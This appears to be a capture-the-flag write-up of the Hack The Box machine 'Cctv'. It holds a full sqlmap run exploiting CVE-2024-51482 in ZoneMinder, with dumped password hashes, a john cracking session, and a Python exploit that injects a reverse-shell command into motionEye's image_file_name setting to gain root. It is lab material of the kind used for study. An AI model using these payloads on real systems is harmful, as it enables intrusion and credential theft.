Cctv is an easy-difficulty Linux machine from Hack The Box centered around a ZoneMinder surveillance instance. We start by discovering a ZoneMinder deployment that accepts the default admin:admin credentials, then abuse CVE-2024-51482, a time-based blind SQL injection in the tid parameter, to dump the Users table and pull out three bcrypt hashes. We crack mark‘s hash to opensesame and SSH in as mark. Enumerating listening services reveals a locally-bound motionEye instance on port 8765, whose admin password hash we recover from /etc/motioneye/motion.conf. After port-forwarding it back to our box, we exploit a command injection in motionEye’s image_file_name configuration field, which gets passed through a shell during snapshot handling, to land a reverse shell as root and read both the user and root flags.
Cctv-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA) 80/tcp open http Apache httpd 2.4.58 |_http-title: Did not follow redirect to http://cctv.htb/ Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 2 hops Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have our usual ssh and http ports. The web server redirects us to cctv.htb, so we add it to our /etc/hosts file and browse to it:
1
http://cctv.htb/
ZoneMinder Default Credentials
Poking around the application, we find a ZoneMinder login panel exposed at /zm/:
1
Login: http://cctv.htb/zm/
The running version is ZoneMinder v1.37.63:
1
ZoneMinder v1.37.63
Before doing anything fancy, we try the classic default credentials, and they work:
CVE-2024-51482 is a time-based blind SQL injection vulnerability in ZoneMinder versions up to and including 1.37.64 . The vulnerable parameter is tid in the following endpoint: /zm/index.php?view=request&request=event&action=removetag&tid= User input is passed directly into a MySQL query without sanitisation, allowing time-based data extraction even without error messages in the response.
Since this is a blind injection, we let sqlmap do the heavy lifting. We feed it our authenticated ZMSESSID cookie and target the tid parameter, restricting it to the time-based technique to dump the Username and Password columns from the Users table:
$ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \ --cookie="ZMSESSID=6q8tko04i5hl6rlvu2f1nddiqt" \ -D zm \ -T Users \ -C Username,Password \ --dump \ --batch \ --dbms=MySQL \ --technique=T \ --time-sec=2 ___ __H__ ___ ___[)]_____ ___ ___ {1.10.2#stable} |_ -| . ["] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:23:41 /2026-03-11/ [00:23:41] [INFO] testing connection to the target URL [00:23:42] [INFO] checking if the target is protected by some kind of WAF/IPS [00:23:44] [WARNING] heuristic (basic) test shows that GET parameter 'view' might not be injectable [00:23:44] [INFO] testing for SQL injection on GET parameter 'view' [00:23:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [00:23:44] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done) [00:24:07] [WARNING] GET parameter 'view' does not seem to be injectable [00:24:08] [WARNING] heuristic (basic) test shows that GET parameter 'request' might not be injectable [00:24:09] [INFO] testing for SQL injection on GET parameter 'request' [00:24:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [00:24:12] [WARNING] GET parameter 'request' does not seem to be injectable [00:24:13] [WARNING] heuristic (basic) test shows that GET parameter 'action' might not be injectable [00:24:14] [INFO] testing for SQL injection on GET parameter 'action' [00:24:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [00:24:17] [WARNING] GET parameter 'action' does not seem to be injectable [00:24:18] [WARNING] heuristic (basic) test shows that GET parameter 'tid' might not be injectable [00:24:18] [INFO] testing for SQL injection on GET parameter 'tid' [00:24:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [00:24:25] [INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [00:24:25] [INFO] checking if the injection point on GET parameter 'tid' is a false positive GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests: --- Parameter: tid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 3182 FROM (SELECT(SLEEP(2)))ujdj) --- [00:24:38] [INFO] the back-end DBMS is MySQL [00:24:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web server operating system: Linux Ubuntu web application technology: Apache 2.4.58 back-end DBMS: MySQL >= 5.0.12 [00:24:43] [INFO] fetching entries of column(s) 'Password,Username' for table 'Users' in database 'zm' [00:24:43] [INFO] fetching number of column(s) 'Password,Username' entries for table 'Users' in database 'zm' [00:24:43] [INFO] retrieved: 3 [00:24:56] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm [00:37:01] [INFO] retrieved: superadmin [00:38:39] [INFO] retrieved: $2y$10$prZGnaz [00:41:35] [ERROR] invalid character detected. retrying.. ejKcu you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y Tv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. [00:50:47] [INFO] retrieved: mark [00:51:25] [INFO] retrieved: $2y$10$t5z8u [00:54:05] [ERROR] invalid character detected. retrying.. IT [00:54:41] [ERROR] invalid character detected. retrying.. [00:54:56] [ERROR] invalid character detected. retrying.. [00:55:08] [ERROR] invalid character detected. retrying.. . [00:55:41] [ERROR] invalid character detected. retrying.. n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m [01:04:30] [INFO] retrieved: admin Database: zm Table: Users [3 entries] +------------+--------------------------------------------------------------+ | Username | Password | +------------+--------------------------------------------------------------+ | superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm | | mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. | | admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m | +------------+--------------------------------------------------------------+ [01:05:19] [INFO] table 'zm.Users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/cctv.htb/dump/zm/Users.csv' [01:05:19] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1710 times [01:05:19] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cctv.htb' [*] ending @ 01:05:19 /2026-03-11/
After a fairly slow extraction (that’s the price of time-based blind injection), we walk away with three bcrypt hashes belonging to superadmin, mark and admin.
Cracking the Hash
We drop mark‘s bcrypt hash into a file and let john chew on it with rockyou.txt:
1 2 3 4 5 6 7 8 9 10
$ john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status opensesame (?) 1g 0:00:00:23 DONE (2026-03-11 00:29) 0.04171g/s 249.3p/s 249.3c/s 249.3C/s march23..tuyyo Use the "--show" option to display all of the cracked passwords reliably Session completed.
And we get valid SSH credentials:
1
mark:opensesame
Enumerating as mark
SSHing in as mark, we take a look at the listening services to see what’s bound locally that isn’t exposed externally:
mark@cctv:~$ netstat -anot Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:8554 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:9081 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:1935 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:7999 0.0.0.0:* LISTEN off (0.00/0/0) tcp 3105 1799891 127.0.0.1:8554 127.0.0.1:33552 ESTABLISHED probe (1.28/0/0) tcp 0 880 10.129.4.178:22 10.10.16.163:46400 ESTABLISHED on (0.43/0/0) tcp 108936 0 127.0.0.1:33552 127.0.0.1:8554 ESTABLISHED off (0.00/0/0) tcp 0 1 10.129.4.178:51036 8.8.8.8:53 SYN_SENT on (1.22/6/0) tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
One of these locally-bound services stands out. Port 8765 is a motionEye instance, a web frontend for the motion surveillance daemon:
1
Port 8765 (motionEye)
Before we can authenticate to it, we need its admin credentials. motionEye stores its admin password hash directly in its motion configuration file, so we grep for it:
motionEye lets you configure a camera’s image_file_name, the template used to name saved snapshots. When a picture is saved, motion passes the resulting file path to a shell script (on_picture_save). Because the value is expanded straight into a shell command, injecting a shell metacharacter such as ; lets us break out and run arbitrary commands. The exploit below authenticates to the API using the recovered admin hash (motionEye signs requests with a SHA1 signature derived from it), sets image_file_name to a payload that runs our staged reverse shell, then triggers a snapshot to fire it:
def compute_signature(method, path, body, key): """Exact replica of motioneye.utils.compute_signature""" parts = list(urllib.parse.urlsplit(path)) query = [ q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature' ] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query] query = '&'.join([q[0] + '=' + q[1] for q in query]) parts[0] = parts[1] = '' parts[3] = query path = urllib.parse.urlunsplit(parts) path = _SIGNATURE_REGEX.sub('-', path) key = _SIGNATURE_REGEX.sub('-', key)
body_str = body if body_str and body_str.startswith('---'): body_str = None body_str = body_str and _SIGNATURE_REGEX.sub('-', body_str)
return hashlib.sha1( ('{}:{}:{}:{}'.format(method, path, body_str or '', key)).encode('utf-8') ).hexdigest().lower()
def make_request(method, path, body=None): """Make a signed request to motionEye API""" body_str = body or '' sig = compute_signature(method, path, body_str, ADMIN_HASH) separator = '&'if'?'in path else'?' url = MOTIONEYE_URL + path + separator + '_signature=' + sig
data = body.encode('utf-8') if body else None req = urllib.request.Request(url, data=data, method=method) if body: req.add_header('Content-Type', 'application/json')
def cmd_get(): """GET current camera config - inspect the JSON format""" print("[*] Getting camera 1 config...") result = make_request("GET", "/config/1/get?_username=admin") if result.get("error") is not None: print(f"[-] Error: {result}") return None print(json.dumps(result, indent=2)) return result
# Step 1: Get current config print("[*] Step 1: Fetching current camera config...") config = make_request("GET", "/config/1/get?_username=admin") if config.get("error") is not None: print(f"[-] Failed to get config: {config}") return False
print(f"[+] Got config with {len(config)} keys")
# Show current filename related keys for key in sorted(config.keys()): kl = key.lower() if'picture'in kl or 'snapshot'in kl or 'file'in kl or 'name'in kl: print(f" {key} = {config[key]}")
payload_cmd = "bash /tmp/rev.sh"
# FIX 1: Added 'image_file_name' as the correct motionEye key possible_keys = ['image_file_name']
# Find the correct key from config target_key = None for k in possible_keys: if k in config: target_key = k print(f"[+] Found picture filename key: {k} = {config[k]}") break
if not target_key: print("[!] No known key found. All config keys:") for k in sorted(config.keys()): print(f" {k} = {config[k]}") print("[!] Trying 'image_file_name' anyway...") target_key = 'image_file_name'
# Set the injection payload original_value = config.get(target_key, '%Y-%m-%d-%H-%M-%S') config[target_key] = f'%Y-%m-%d;{payload_cmd};'
body = json.dumps(config) print(f"[*] Step 2: Setting {target_key} = '{config[target_key]}'") result = make_request("POST", "/config/1/set?_username=admin", body) print(f"[*] Set config result: {json.dumps(result)}")
# FIX 3: Check error correctly ("error": null is NOT a failure) if result.get("error") is not None: print("[-] Config set failed.") return False
print("[+] Config set successfully!")
# Step 3: Trigger snapshot - FIX 2: Use POST instead of GET import time print("[*] Step 3: Triggering snapshot via POST...") time.sleep(1) result = make_request("POST", "/action/1/snapshot?_username=admin", '{}') print(f"[*] Snapshot result: {json.dumps(result)}")
print("[*] Waiting 3s and triggering another snapshot...") time.sleep(3) result = make_request("POST", "/action/1/snapshot?_username=admin", '{}') print(f"[*] Second snapshot result: {json.dumps(result)}")
print(f"\n[+] Exploit sent! Check your listener on {attacker_ip}:{port}") print(f"[*] Original {target_key} was: {original_value}")
return True
def cmd_restore(): """Restore original image_file_name to clean up""" print("[*] Restoring original config...") config = make_request("GET", "/config/1/get?_username=admin") if config.get("error") is not None: print(f"[-] Error: {config}") return
for k in config: kl = k.lower() if'image'in kl and 'file'in kl and 'name'in kl: config[k] = '%Y-%m-%d-%H-%M-%S' print(f"[*] Restoring {k} = '%Y-%m-%d-%H-%M-%S'")
body = json.dumps(config) result = make_request("POST", "/config/1/set?_username=admin", body) print(f"[*] Restore result: {json.dumps(result)}")
if __name__ == '__main__': if len(sys.argv) < 2: print("Usage:") print(" python3 motioneye-rce-fixed.py get # Get current config") print(" python3 motioneye-rce-fixed.py exploit <IP> [PORT] # Run full exploit") print(" python3 motioneye-rce-fixed.py restore # Restore original config") sys.exit(1)
cmd = sys.argv[1]
if cmd == "get": cmd_get() elif cmd == "exploit": ip = sys.argv[2] if len(sys.argv) > 2 else"10.10.14.22" port = sys.argv[3] if len(sys.argv) > 3 else"4444" cmd_exploit(ip, port) elif cmd == "restore": cmd_restore() else: print(f"Unknown command: {cmd}") mark@cctv:~$
Because the on_picture_save handler runs as root, our injected command executes with full privileges. We catch the shell on our listener and confirm we’re root, then grab both flags:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ rlwrap nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.163] from (UNKNOWN) [10.129.4.178] 35832 sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt 283822a67f4703c7a35855a3610bf1ae # ls /home mark sa_mark # cat/sa_mark/user.txt sh: 4: cat/sa_mark/user.txt: not found # cat/home/sa_mark/user.txt sh: 5: cat/home/sa_mark/user.txt: not found # cat /home/sa_mark/user.txt 45d77d570489ee8d4f3d247beaff7db5 #